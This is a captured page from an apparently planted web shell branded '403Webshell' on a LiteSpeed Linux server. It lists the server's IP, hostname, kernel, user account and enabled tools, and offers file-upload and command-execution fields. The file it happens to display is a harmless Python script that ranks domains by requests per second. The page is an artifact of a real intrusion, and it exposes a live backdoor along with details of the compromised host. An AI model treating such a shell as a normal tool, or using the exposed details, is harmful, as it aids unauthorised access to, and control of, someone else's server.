403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/sp_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/sp_scripts/lstop.py
#!/usr/bin/env python3
# lsTop: LiteSpeed script to display top domains by requests/s.
# Tsvetan Gerov <tsvetan@worldhost.group>
# v0.1

import re
import glob

domain_info = {}
directory = '/tmp/lshttpd/'
file_pattern = '.rtreport*'
files = glob.glob(directory + file_pattern)

for filename in files:
    with open(filename, 'r') as file:
        content = file.read()
        matches = re.findall(r'REQ_RATE \[APVH_(.*?)\]: .* REQ_PER_SEC: ([0-9.]+)', content)
        for domain, requests_per_sec in matches:
            modified_domain = domain.split(':')[0]
            modified_domain = modified_domain.replace("APVH_", "")
            if modified_domain in domain_info:
                domain_info[modified_domain] += int(float(requests_per_sec))
            else:
                domain_info[modified_domain] = int(float(requests_per_sec))

sorted_domains = sorted(domain_info.items(), key=lambda x: x[1])

print("| {:<70s} | {:<8s} |".format("Domain", "Req/s"))
print("|" + "-" * 72 + "|" + "-" * 10 + "|")

for domain, requests_per_sec in sorted_domains:
    print(f"| {domain:<70} | {requests_per_sec:8d} |")

print("|" + "-" * 72 + "|" + "-" * 10 + "|")
print("| {:<70s} | {:<8s} |".format("Domain", "Req/s"))


Youez - 2016 - github.com/yon3zu
LinuXploit